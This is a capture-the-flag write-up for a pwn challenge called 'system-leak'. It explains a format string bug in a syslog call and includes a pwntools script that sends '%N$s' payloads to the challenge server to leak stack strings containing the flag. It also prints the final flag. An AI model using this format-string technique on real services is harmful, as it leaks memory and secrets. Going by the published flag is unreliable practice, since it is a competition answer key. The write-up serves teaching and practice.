system-leak

by sunbather / .hidden

Tags: pwn

Rating:

Challenge Description

Leak the entire system, but wait this is not zeenbleed.

Flag format: CTF{sha256}

Intuition

Checksec the binary to see what we have.

```
$ checksec syslog
LIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols      FORTIFY
Fortified   Fortifiable FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols    N
o    0       4       syslog
```

All protections enabled! Wow! When I saw this initially I thought this will be a hard binary to exploit. So I went on and played with `system-write` first, lol. Please check that writeup for a full run-down of the binary.

The important thing to notice for this binary is the fact that `syslog` uses format strings. We have an arbitrary read through format string vulnerabilities. Since the description hints to leaking the whole system, the initial idea I had was to leak the whole stack and hope we get some ENV strings with the flag in them.

```
    printf("Enter the message to write to syslog: ");
    fgets(local_218,0x200,stdin);
    fgets(local_218,0x200,stdin);
    syslog((int)local_222,local_218);
    closelog();
```

Solution

The solution is just that - leaking strings from the stack for fun. We manually try different offsets and print strings in batches. I made a really quick, stupid script to do that:

```
#!/usr/bin/env python3

from pwn import *

#target = process("./syslog")
target = remote("35.246.203.171", 31245)

lines = []

# Play around with this offset, it might crash at certain offsets because addresses are not dereferenci
```

```
ble
for i in range(120, 1600):
    target.sendline(b"1")
    target.sendline(b"1") # priority

    payload = "%{}$s".format(i).encode()

    target.sendline(payload)

    target.sendline(b"2")
    target.recvuntil(b'syslog')
    lines.append(target.recvline())
    print(lines[-1])

print(lines)
target.interactive()
```

Flag

`CTF{ab8f8dff1ca8d424d56d3e8b41296cba0ba4e2a7985927b510fe2734dacee073}`

Original writeup (https://dothidden.xyz/defcamp_quals_2023/system-leak/).

Comments